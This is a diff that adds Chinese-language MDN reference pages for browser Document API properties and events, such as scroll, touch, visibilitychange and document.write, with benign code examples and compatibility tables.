Basic support{{CompatChrome("22.0")}}{{CompatGeckoDesktop("18.0")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("6.0")}}{{CompatVersionUnknown}}11{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

相关事件

+ + diff --git a/files/zh-cn/web/api/document/scripts/index.html b/files/zh-cn/web/api/document/scripts/index.html new file mode 100644 index 0000000000..d02f838d8c --- /dev/null +++ b/files/zh-cn/web/api/document/scripts/index.html @@ -0,0 +1,69 @@ +--- +title: Document.scripts +slug: Web/API/Document/scripts +translation_of: Web/API/Document/scripts +--- +

{{ ApiRef() }}

+

概述

+

返回一个{{ domxref("HTMLCollection") }}对象,包含了当前文档中所有{{ HTMLElement("script") }}元素的集合.

+

语法

+
var scriptList = document.scripts;
+
+

scriptList是一个{{ domxref("HTMLCollection") }}对象.你可以像使用数组一样通过索引来获取其中包含的{{ HTMLElement("script") }}元素.

+

例子

+

下例演示了如何查看当前页面是否包含有{{ HTMLElement("script") }}元素.

+
var scripts = document.scripts;
+
+if (scripts.length) {
+  alert("该页面存在script标签!");
+}
+
+

浏览器兼容性

+

{{ CompatibilityTable() }}

+
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }}{{ CompatGeckoDesktop("9.0") }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatVersionUnknown() }}{{ CompatGeckoMobile("9.0") }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+

规范

+

{{ spec("http://www.whatwg.org/specs/web-apps/current-work/multipage/dom.html#dom-document-scripts", "DOM: document scripts") }}

+

{{ languages( {"en": "en/DOM/Document.scripts" } ) }}

diff --git a/files/zh-cn/web/api/document/scroll_event/index.html b/files/zh-cn/web/api/document/scroll_event/index.html new file mode 100644 index 0000000000..1b28068003 --- /dev/null +++ b/files/zh-cn/web/api/document/scroll_event/index.html @@ -0,0 +1,100 @@ +--- +title: 'Document: scroll event' +slug: Web/API/Document/scroll_event +tags: + - API + - DOM + - Event + - Reference + - Scroll + - requestAnimationFram + - 事件 + - 参考 + - 滚动 +translation_of: Web/API/Document/scroll_event +--- +

文档视图或者一个元素在滚动时,会触发元素的scroll事件。

+ + + + + + + + + + + + + + + + + + + + + + +
BubblesYes
CancelableNo
Interface{{DOMxRef("Event")}}
Event handler property{{DOMxRef("GlobalEventHandlers.onscroll", "onscroll")}}
+ +
+

注意:在 iOS UIWebViews中, 滚动进行时不会触发 scroll 事件;只有当滚动结束后事件才会被触发。参见 Bootstrap issue #16202。Safari 和 WKWebViews 则没有这个问题。

+
+ +

示例

+ +

Scroll 事件节流

+ +

由于 scroll 事件可被高频触发,事件处理程序不应该执行高性能消耗的操作,如DOM操作。而更推荐的做法是使用 {{DOMxRef("Window.requestAnimationFrame()", "requestAnimationFrame()")}}, {{DOMxRef("WindowOrWorkerGlobalScope.setTimeout()", "setTimeout()")}} 或 {{DOMxRef("CustomEvent")}} 给事件节流,如下所述。

+ +

然而需要注意的是,输入事件和动画帧常常以差不多的频率被触发,因此以下优化常常不必要。这个例子使用 requestAnimationFrame 优化 scroll 事件。

+ +
// 参见: http://www.html5rocks.com/en/tutorials/speed/animations/
+
+let last_known_scroll_position = 0;
+let ticking = false;
+
+function doSomething(scroll_pos) {
+  // 根据滚动位置做的事
+}
+
+window.addEventListener('scroll', function(e) {
+  last_known_scroll_position = window.scrollY;
+
+  if (!ticking) {
+    window.requestAnimationFrame(function() {
+      doSomething(last_known_scroll_position);
+      ticking = false;
+    });
+
+    ticking = true;
+  }
+});
+ +

在 resize 事件页面中查看更多类似的例子。

+ +

规范

+ + + + + + + + + + + + +
规范状态
{{SpecName('DOM3 Events', '#event-type-scroll')}}{{Spec2('DOM3 Events')}}
+ +

浏览器兼容性

+ +

{{Compat("api.Document.scroll_event")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/document/scrollingelement/index.html b/files/zh-cn/web/api/document/scrollingelement/index.html new file mode 100644 index 0000000000..9f6e68e342 --- /dev/null +++ b/files/zh-cn/web/api/document/scrollingelement/index.html @@ -0,0 +1,97 @@ +--- +title: Document.scrollingElement +slug: Web/API/Document/scrollingElement +translation_of: Web/API/Document/scrollingElement +--- +
{{APIRef("DOM")}}
+ +

scrollingElement ( {{domxref("Document")}} 的只读属性)返回滚动文档的 {{domxref("Element")}} 对象的引用。 在标准模式下, 这是文档的根元素, {{domxref("document.documentElement")}}.

+ +

当在怪异模式下, scrollingElement 属性返回 HTML body 元素(若不存在返回 null )。

+ +

语法

+ +
var element = document.scrollingElement;
+ +

示例

+ +
var scrollElm = document.scrollingElement;
+scrollElm.scrollTop = 0;
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSSOM View','#dom-document-scrollingelement','scrollingElement')}}{{Spec2('CSSOM View')}}Initial definition
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome(44.0)}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("48.0")}}[1]{{CompatNo}}33.09.0
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatNo}}369.0{{CompatChrome(44.0)}}
+
+ +

[1] This feature was initially implemented in Gecko 47.0 {{geckoRelease("47.0")}} behind the preference dom.document.scrollingElement.enabled, defaulting to true on Nightly builds and false otherwise. In Gecko 48.0 {{geckoRelease("48.0")}} the feature got enabled by default and the preference removed.

diff --git a/files/zh-cn/web/api/document/selectedstylesheetset/index.html b/files/zh-cn/web/api/document/selectedstylesheetset/index.html new file mode 100644 index 0000000000..719af9c643 --- /dev/null +++ b/files/zh-cn/web/api/document/selectedstylesheetset/index.html @@ -0,0 +1,46 @@ +--- +title: Document.selectedStyleSheetSet +slug: Web/API/Document/selectedStyleSheetSet +translation_of: Web/API/Document/selectedStyleSheetSet +--- +

{{ APIRef("DOM") }}{{ gecko_minversion_header("1.9") }}

+ +

表示当前使用的样式表集合的名称

+ +

语法

+ +
currentStyleSheetSet = document.selectedStyleSheetSet
+
+document.selectedStyleSheet = newStyleSheetSet
+
+
+ +

返回时,currentStyleSheetSet表示当前使用的样式表集合的名称。 你也可以使用这个属性设置当前样式表集。

+ +

设置这个属性的值相当于用currentStyleSheetSet的值调用 {{ domxref("document.enableStyleSheetsForSet()") }},然后将lastStyleSheetSet 的值设置为该值。

+ +
注意: 这个属性的值是实时的,直接更改样式表中的disabled属性将会影响这个属性的值.
+ +

示例

+ +
console.log("Current style sheet set: " + document.selectedStyleSheetSet);
+
+document.selectedStyleSheetSet = "Some other style sheet";
+
+ +
注意: 这个例子会帮助你理解设置selectedStyleSheetSet 的值和调用{{ domxref("document.enableStyleSheetsForSet()") }}之间行为的差异.
+ +

参看

+ + + +

规范

+ + diff --git a/files/zh-cn/web/api/document/selectionchange_event/index.html b/files/zh-cn/web/api/document/selectionchange_event/index.html new file mode 100644 index 0000000000..7b5018d4cc --- /dev/null +++ b/files/zh-cn/web/api/document/selectionchange_event/index.html @@ -0,0 +1,147 @@ +--- +title: selectionchange +slug: Web/API/Document/selectionchange_event +translation_of: Web/API/Document/selectionchange_event +--- +
+

Selection API 的 selectionchange 事件在文档上的当前文本选择被改变时触发。

+
+ + + + + + + + + + + + + + + + + + + + +
BubblesNo
CancelableNo
Target objects{{domxref("Document")}}
Interface{{domxref("Event")}}
+ +

例子

+ +
//以下两种方法可任选其一
+document.addEventListener("selectionchange", () => {
+  console.log(document.getSelection());
+});
+
+document.onselectionchange = () => {
+  console.log(document.getSelection());
+};
+
+ +

继承

+ +

selectionchange 事件实现了 {{domxref("Event")}} 接口,因此在此接口上定义的属性和方法都可使用。

+ +

{{InheritanceDiagram('','','', 'Event')}}

+ +

规范

+ + + + + + + + + + + + + + +
规范状态说明
{{SpecName('Selection API', '#selectionchange-event', 'selectionchange')}}{{Spec2('Selection API')}}Initial definition.
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("52")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}
on HTMLInputElement and HTMLTextAreaElement{{CompatNo}}{{CompatNo}}{{CompatGeckoDesktop("52")}} - [1]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("52")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}
on HTMLInputElement and HTMLTextAreaElement{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile("52")}} - [1]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

[1] - Experimental support in Nightly behind the dom.select_events.textcontrols.enabled preference. Support for input and textarea is currently not part of the specification.

+ +

参考

+ + diff --git a/files/zh-cn/web/api/document/selectstart_event/index.html b/files/zh-cn/web/api/document/selectstart_event/index.html new file mode 100644 index 0000000000..1cd13babb1 --- /dev/null +++ b/files/zh-cn/web/api/document/selectstart_event/index.html @@ -0,0 +1,127 @@ +--- +title: selectstart +slug: Web/API/Document/selectstart_event +tags: + - Selection + - Selection API + - events +translation_of: Web/API/Document/selectstart_event +--- +
+

Selection API 的 selectstart 事件在用户开始一个新的选择时候触发。

+ +

如果事件被取消,选择将不被触发。

+
+ + + + + + + + + + + + + + + + + + + + +
BubblesYes
CancelableYes
Target objects{{domxref("Document")}}
Interface{{domxref("Event")}}
+ +

例子

+ +
document.addEventListener("selectstart", function() {
+  console.log('Selection started');
+}, false);
+
+ +

继承

+ +

selectstart 事件实现{{domxref("Event")}} 接口. 你可以使用此界面上定义的属性和方法。

+ +

{{InheritanceDiagram('','','', 'Event')}}

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Selection API', '#selectstart-event', 'selectstart')}}{{Spec2('Selection API')}}Initial definition.
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("52")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("52")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/document/stylesheets/index.html b/files/zh-cn/web/api/document/stylesheets/index.html new file mode 100644 index 0000000000..61c8c2eae2 --- /dev/null +++ b/files/zh-cn/web/api/document/stylesheets/index.html @@ -0,0 +1,25 @@ +--- +title: Document.styleSheets +slug: Web/API/Document/styleSheets +translation_of: Web/API/DocumentOrShadowRoot/styleSheets +--- +
{{APIRef}}
+ +

Document.styleSheets 只读属性,返回一个由 {{domxref("StyleSheet ")}} 对象组成的 {{domxref("StyleSheetList")}},每个 {{domxref("StyleSheet ")}} 对象都是一个文档中链接或嵌入的样式表。

+ +

语法

+ +
let styleSheetList = document.styleSheets;
+
+ +

返回的对象是一个 {{domxref("StyleSheetList")}}。

+ +

它是一个 {{domxref("StyleSheet")}} 对象的有序集合。styleSheetList.item(index) 或 styleSheetList{{ mediawiki.External('index') }} 根据它的索引(索引基于0)返回一个单独的样式表对象。

+ +
 
+ +

规范

+ + diff --git a/files/zh-cn/web/api/document/stylesheetsets/index.html b/files/zh-cn/web/api/document/stylesheetsets/index.html new file mode 100644 index 0000000000..329884f55c --- /dev/null +++ b/files/zh-cn/web/api/document/stylesheetsets/index.html @@ -0,0 +1,54 @@ +--- +title: Document.styleSheetSets +slug: Web/API/Document/styleSheetSets +tags: + - Document.styleSheetSets +translation_of: Web/API/Document/styleSheetSets +--- +
{{APIRef("DOM")}}{{gecko_minversion_header("1.9")}}
+ +

返回一个所有当前可用样式表集的实时列表。

+ +

Syntax

+ +
sets = document.styleSheetSets
+
+ +

在返回时,sets 是一个可用的样式表集的列表。

+ +

Example

+ +

Given an {{HTMLElement("ul")}} (list) element with the ID "sheetList", you can populate it with the names of all the available style sheet sets with code like this:

+ +
var list = document.getElementById("sheetList");
+var sheets = document.styleSheetSets;
+
+list.innerHTML = "";
+
+for (var i = 0; i < sheets.length; i++) {
+  var item = document.createElement("li");
+
+  item.innerHTML = sheets[i];
+  list.appendChild(item);
+}
+ +

Notes

+ +

The list of available style sheet sets is constructed by enumerating all the style sheets available for the document, in the order in which they're listed in the {{domxref("document.styleSheets")}} attribute, adding the title of each style sheet that has a title to the list. Duplicates are dropped from the list (using a case-sensitive comparison).

+ +

Specifications

+ + + +

See also

+ + diff --git a/files/zh-cn/web/api/document/timeline/index.html b/files/zh-cn/web/api/document/timeline/index.html new file mode 100644 index 0000000000..387e6c7e3b --- /dev/null +++ b/files/zh-cn/web/api/document/timeline/index.html @@ -0,0 +1,66 @@ +--- +title: Document.timeline +slug: Web/API/Document/timeline +tags: + - API + - Animation + - Document + - Property + - 属性 + - 文档 +translation_of: Web/API/Document/timeline +--- +
{{ SeeCompatTable() }}{{ APIRef("Web Animations") }}
+ +

{{domxref("Document")}} 接口的 timeline 只读属性表示当前文档的默认时间轴。 此时间轴是 {{domxref("DocumentTimeline")}} 的一个特殊实例,它会在网页加载时自动创建。

+ +

此时间轴对于每个文档(document)来说都是唯一的,并在文档的生命周期中保持不变,包括调用 {{domxref("Document.open()")}}。

+ +

该时间线的时间值被计算为与全局时钟的固定偏移,使得零时间对应于{{domxref("PerformanceTiming.navigationStart", "navigationStart")}}时刻加上称为原始时间的带符号的delta 。 在建立导航开始时刻之前,文档时间线是不活动的。

+ +
+

注意:与非活动文档相关联的文档时间轴也被视为是不活动的

+
+ +

语法

+ +
+
var pageTimeline = document.timeline;
+var thisMoment = pageTimeline.currentTime;
+
+ +

+ +

一个 {{domxref("DocumentTimeline")}} 对象。

+ +

规则

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('Web Animations', '#dom-document-timeline', 'document.timeline' )}}{{Spec2('Web Animations')}}Editor's draft.
+ +

浏览器兼容性

+ + + +

{{Compat("api.Document.timeline")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/document/title/index.html b/files/zh-cn/web/api/document/title/index.html new file mode 100644 index 0000000000..3f8c887b65 --- /dev/null +++ b/files/zh-cn/web/api/document/title/index.html @@ -0,0 +1,42 @@ +--- +title: Document.title +slug: Web/API/Document/title +translation_of: Web/API/Document/title +--- +
+ {{APIRef}}
+

概述

+

获取或设置文档的标题。

+

语法

+
var docTitle = document.title;
+
+

title 是一个包含 document 标题的字符串。如果通过设置 document.title 将标题覆盖,则返回覆盖后的值。否则返回标签里指定的标题(参见下面的 {{Anch("Notes")}})。

+
document.title = newTitle;
+
+

newTitle 是文档的新标题。赋值操作影响 document.title 的返回值,文档的显示标题(即窗口或标签页顶部的标题栏),另外还会影响文档的 DOM,即改变 HTML 文档中 <title> 元素的内容。

+

示例

+
<!DOCTYPE html>
+<html>
+<head>
+<title>Hello World!</title>
+</head>
+<body>
+
+<script>
+alert(document.title); // 显示 "Hello World!"
+document.title = "Goodbye World!";
+alert(document.title); // 显示 "Goodbye World!"
+</script>
+
+</body>
+</html>
+
+

备注

+

在 Gecko 中,该属性适应于 HTML、SVG、XUL 和其他文档。

+

对于 HTML 文档来说,document.title 的初始值是 <title> 元素的文本内容。对于 XUL 来说,它是 {{XULElem("window")}} 或其他顶级 XUL 元素的 {{XULAttr("title")}} 属性的值。

+

在 XUL 里,在文档完全加载之前访问 document.title,会有未定义行为(document.title 可能返回一个空字符串,并且设置 document.title 也无效)。

+

规范

+ diff --git a/files/zh-cn/web/api/document/tooltipnode/index.html b/files/zh-cn/web/api/document/tooltipnode/index.html new file mode 100644 index 0000000000..db042ee270 --- /dev/null +++ b/files/zh-cn/web/api/document/tooltipnode/index.html @@ -0,0 +1,14 @@ +--- +title: document.tooltipNode +slug: Web/API/Document/tooltipNode +translation_of: Web/API/Document/tooltipNode +--- +

{{ ApiRef() }}

+

概述

+

返回作为当前文档的{{ XULElem("tooltip") }}的节点.

+

语法

+
document.tooltipNode;
+
+

规范

+

只能在XUL中使用.不属于任何规范.定义在{{ Source("dom/public/idl/xul/nsIDOMXULDocument.idl#59", "nsIDOMXULDocument.idl") }}.

+

{{ languages( {"zh-cn": "zh-cn/DOM/document.tooltipNode" } ) }}

diff --git a/files/zh-cn/web/api/document/touchcancel_event/index.html b/files/zh-cn/web/api/document/touchcancel_event/index.html new file mode 100644 index 0000000000..aaacf163f8 --- /dev/null +++ b/files/zh-cn/web/api/document/touchcancel_event/index.html @@ -0,0 +1,73 @@ +--- +title: 'Document: touchcancel event' +slug: Web/API/Document/touchcancel_event +tags: + - Document + - Event + - TouchEvent + - touchcancel + - 事件 + - 参考 +translation_of: Web/API/Document/touchcancel_event +--- +
{{APIRef}}
+ +

touchcancel当一个或多个触摸点以特定于实现的方式中断时(例如,创建了太多的触摸点),将触发事件。

+ + + + + + + + + + + + + + + + + + + + +
冒泡
可取消不可
接口{{domxref("TouchEvent")}}
事件处理程序属性 +
+

{{ domxref("GlobalEventHandlers.ontouchcancel","ontouchcancel")}}

+
+
+ +

示例

+ +

这些事件的代码示例可在专用页面上找到:触摸事件

+ +

规范

+ + + + + + + + + + + + +
规范状态
{{SpecName('Touch Events', '#event-touchcancel')}}{{Spec2('Touch Events')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.Document.touchcancel_event")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/document/touchend_event/index.html b/files/zh-cn/web/api/document/touchend_event/index.html new file mode 100644 index 0000000000..31a74b99d8 --- /dev/null +++ b/files/zh-cn/web/api/document/touchend_event/index.html @@ -0,0 +1,116 @@ +--- +title: touchend +slug: Web/API/Document/touchend_event +translation_of: Web/API/Document/touchend_event +--- +

当触点离开触控平面时触发touchend事件.

+ +

常规信息

+ +
+
规范
+
Touch Events
+
接口
+
TouchEvent
+
是否冒泡
+
Yes
+
能否取消默认行为
+
Yes
+
目标
+
Document, Element
+
默认行为
+
+
+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}EventTargetThe event target (the topmost target in the DOM tree).
type {{readonlyInline}}DOMStringThe type of event.
bubbles {{readonlyInline}}BooleanWhether the event normally bubbles or not.
cancelable {{readonlyInline}}BooleanWhether the event is cancellable or not.
view {{readonlyInline}}WindowProxydocument.defaultView (window of the document)
detail {{readonlyInline}}long (float)0.
touches {{readonlyInline}}TouchListA list of Touches for every point of contact currently touching the surface.
targetTouches {{readonlyInline}}TouchListA list of Touches for every point of contact that is touching the surface and started on the element that is the target of the current event.
changedTouches {{readonlyInline}}TouchListA list of Touches for every point of contact which contributed to the event.
+ For the touchstart event this must be a list of the touch points that just became active with the current event. For the touchmove event this must be a list of the touch points that have moved since the last event. For the touchend and touchcancel events this must be a list of the touch points that have just been removed from the surface.
ctrlKey {{readonlyInline}}booleantrue if the control key was down when the event was fired. false otherwise.
shiftKey {{readonlyInline}}booleantrue if the shift key was down when the event was fired. false otherwise.
altKey {{readonlyInline}}booleantrue if the alt key was down when the event was fired. false otherwise.
metaKey {{readonlyInline}}booleantrue if the meta key was down when the event was fired. false otherwise.
+ +

例子

+ +

这些事件的代码示例在这个页面Touch events中均有体现.

+ + + + diff --git a/files/zh-cn/web/api/document/touchstart_event/index.html b/files/zh-cn/web/api/document/touchstart_event/index.html new file mode 100644 index 0000000000..ef493fef64 --- /dev/null +++ b/files/zh-cn/web/api/document/touchstart_event/index.html @@ -0,0 +1,69 @@ +--- +title: 'Document: touchstart 事件' +slug: Web/API/Document/touchstart_event +tags: + - Document + - Event + - TouchEvent + - Web + - touchstart + - 参考 +translation_of: Web/API/Document/touchstart_event +--- +
{{APIRef}}
+ +

当一个或多个触摸点与触控设备表面接触时触发touchstart 事件。

+ + + + + + + + + + + + + + + + + + + + +
BubblesYes
CancelableYes
Interface{{domxref("TouchEvent")}}
Event handler property{{ domxref("GlobalEventHandlers.ontouchstart","ontouchstart")}}
+ +

示例

+ +

这些时间的代码样例可在这个专用页面查看:Touch events.

+ +

规范

+ + + + + + + + + + + + +
规范状态
{{SpecName('Touch Events', '#event-touchstart')}}{{Spec2('Touch Events')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.Document.touchstart_event")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/document/url/index.html b/files/zh-cn/web/api/document/url/index.html new file mode 100644 index 0000000000..b9c10a984d --- /dev/null +++ b/files/zh-cn/web/api/document/url/index.html @@ -0,0 +1,17 @@ +--- +title: document.URL +slug: Web/API/Document/URL +translation_of: Web/API/Document/URL +--- +

{{ ApiRef() }}

+

概述

+

返回当前文档的URL地址

+

语法

+
string = document.URL
+
+

备注

+

该属性的值和DOM Level 0中的document.location.href 属性的值是相等的.然而 document.location.href 是可写的, document.URL 是只读的.

+

{{ domxref("document.documentURI") }} 也返回与该属性相同的值,不过它在非HTML文档中也可以使用.

+

规范

+

DOM Level 2 HTML: URL

+

{{ languages( { "es": "es/DOM/document.URL", "ja": "ja/DOM/document.URL", "pl": "pl/DOM/document.URL", "en": "en/DOM/document.URL" } ) }}

diff --git a/files/zh-cn/web/api/document/visibilitychange_event/index.html b/files/zh-cn/web/api/document/visibilitychange_event/index.html new file mode 100644 index 0000000000..f1c945c5ea --- /dev/null +++ b/files/zh-cn/web/api/document/visibilitychange_event/index.html @@ -0,0 +1,124 @@ +--- +title: visibilitychange +slug: Web/API/Document/visibilitychange_event +tags: + - API + - Visibility + - visibilitychange +translation_of: Web/API/Document/visibilitychange_event +--- +

{{APIRef}}

+ +

当其选项卡的内容变得可见或被隐藏时,会在文档上触发 visibilitychange (能见度更改)事件。

+ +

概述

+ +
+
Specification
+
{{SpecName("Page Visibility API")}}
+
Interface
+
{{domxref("event")}}
+
Bubbles
+
Yes
+
Cancelable
+
No
+
Target
+
{{domxref("Document")}}
+
Default Action
+
None
+
+ +

使用说明

+ +

该事件不包括文档的更新的可见性状态,但是您可以从文档的  {{domxref("Document.visibilityState", "visibilityState")}} 属性中获取该信息。

+ +
+

当 visibleStateState 属性的值转换为 hidden 时,Safari不会按预期触发visibilitychange; 因此,在这种情况下,您还需要包含代码以侦听 pagehide 事件。

+
+ +
+

出于兼容性原因,请确保使用  document.addEventListener 而不是window.addEventListener来注册回调。 Safari <14.0仅支持前者。

+
+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The event target (the topmost target in the DOM tree).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
+ +

例子

+ +

本示例在文档可见时开始播放音乐曲目,在文档不再可见时暂停音乐。

+ +
document.addEventListener("visibilitychange", function() {
+  console.log( document.visibilityState );
+});
+
+ +
document.addEventListener("visibilitychange", function() {
+  if (document.visibilityState === 'visible') {
+    backgroundMusic.play();
+  } else {
+    backgroundMusic.pause();
+  }
+});
+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态注释
W3C Page Visibility API{{Spec2('Page Visibility API')}}
+ +

浏览器兼容性

+ +

{{Compat("api.Document.visibilitychange")}}

+ +

{{Compat("api.Document.visibilitychange_event")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/document/visibilitystate/index.html b/files/zh-cn/web/api/document/visibilitystate/index.html new file mode 100644 index 0000000000..40cde7513b --- /dev/null +++ b/files/zh-cn/web/api/document/visibilitystate/index.html @@ -0,0 +1,52 @@ +--- +title: Document.visibilityState +slug: Web/API/Document/visibilityState +translation_of: Web/API/Document/visibilityState +--- +

{{ ApiRef("DOM") }}

+ +

 Document.visibilityState (只读属性), 返回{{domxref('document')}}的可见性, 即当前可见元素的上下文环境. 由此可以知道当前文档(即为页面)是在背后, 或是不可见的隐藏的标签页,或者(正在)预渲染.可用的值如下:

+ + + +

当此属性的值改变时, 会递交 {{event('visibilitychange')}} 事件给{{domxref("Document")}}.

+ +

典型用法是防止当页面正在渲染时加载资源, 或者当页面在背景中或窗口最小化时禁止某些活动.

+ +

语法

+ +
var string = document.visibilityState
+ +

示例

+ +
document.addEventListener("visibilitychange", function() {
+  console.log( document.visibilityState );
+  // Modify behavior...
+});
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Page Visibility API','#dom-document-visibilitystate', 'Document.visibilityState')}}{{Spec2('Page Visibility API')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.Document.visibilityState")}}

diff --git a/files/zh-cn/web/api/document/width/index.html b/files/zh-cn/web/api/document/width/index.html new file mode 100644 index 0000000000..47a2d1e13a --- /dev/null +++ b/files/zh-cn/web/api/document/width/index.html @@ -0,0 +1,32 @@ +--- +title: document.width +slug: Web/API/Document/width +translation_of: Web/API/Document/width +--- +
+ {{ApiRef}} {{Obsolete_header}}
+
+

{{gecko_callout_heading("6.0")}}

+

从Gecko 6.0开始,不再支持document.width,请使用document.body.clientWidth来代替.查看{{domxref("element.clientWidth")}}.

+
+

概述

+

返回当前文档中的{{HTMLElement("body")}}元素的宽度,单位为像素.Internet Explorer不支持该属性.

+

语法

+
pixels = document.width;
+
+

示例

+
function init() {
+    alert("当前文档的宽度为 " + document.width + " 像素.");
+}
+
+

请使用下面的属性来替代该属性

+
document.body.clientWidth              /* <body>元素的宽度 */
+document.documentElement.clientWidth   /* <html>元素的宽度 */
+window.innerWidth                      /* window的宽度 */
+
+

规范

+

{{DOM0}}

+

相关链接

+ diff --git a/files/zh-cn/web/api/document/write/index.html b/files/zh-cn/web/api/document/write/index.html new file mode 100644 index 0000000000..2a9b18e9e1 --- /dev/null +++ b/files/zh-cn/web/api/document/write/index.html @@ -0,0 +1,111 @@ +--- +title: document.write +slug: Web/API/Document/write +tags: + - API + - DOM + - Document + - write + - 参考 + - 方法 +translation_of: Web/API/Document/write +--- +
{{ApiRef("DOM")}}
+ +

Document.write() 方法将一个文本字符串写入一个由 {{domxref("document.open()")}} 打开的文档流(document stream)。

+ +
+

注意: 因为 document.write 需要向文档中写入内容,所以,若在一个已关闭(例如,已完成加载)的文档上调用 document.write,就会自动调用 document.open这将清空该文档的内容

+
+ +

语法

+ +
document.write(markup);
+ +

参数

+ +
+
markup
+
一个包含要写入文档的文本的字符串。
+
+ +

示例

+ +
<html>
+
+<head>
+    <meta charset="UTF-8">
+    <title><code>document.write()</code> example</title>
+
+    <script>
+      function newContent() {
+        document.open();
+        document.write("<h1>Out with the old - in with the new!</h1>");
+        document.close();
+      }
+    </script>
+</head>
+<body onload="newContent();">
+    <p>Some original document content.</p>
+</body>
+
+</html>
+
+ +

{{EmbedLiveSample("Syntax")}}

+ +

备注

+ +

向一个已经加载,并且没有调用过 {{domxref("document.open()")}} 的文档写入数据时,会自动调用 document.open。一旦完成了数据写入,建议调用 {{domxref("document.close()")}},以告诉浏览器当前页面已经加载完毕。写入的数据会被解析到文档结构模型(DOM)里。在上面的例子里,元素 h1 会成为文档中的一个节点。

+ +

如果 document.write() 调用发生在 HTML 里的 <script> 标签中,那么它将不会自动调用 document.open()。详见如下例子:

+ +
<script>
+  document.write("<h1>Main title</h1>")
+</script>
+
+ +
注意:document.write 和 {{domxref("document.writeln")}} 在 XHTML 文档中不可用(控制台上会显示 "Operation is not supported"[NS_ERROR_DOM_NOT_SUPPORTED_ERR] 的报错信息)。 当打开本地的 .xhtml 格式的文件或任何其他 {{Glossary("MIME type", "MIME 类型")}}为 application/xhtml+xml 的文档时,均会报错。更多信息可查看 W3C XHTML FAQ
+ +
注意:在有deferred 或 asynchronous 属性的 script 中,document.write 会被忽略,控制台会显示 "A call to document.write() from an asynchronously-loaded external script was ignored" 的报错信息。
+ +
注意:在 Edge 中,在 {{HTMLElement("iframe")}} 内部调用 document.write 多于一次时会引发错误 SCRIPT70: Permission denied。
+ +
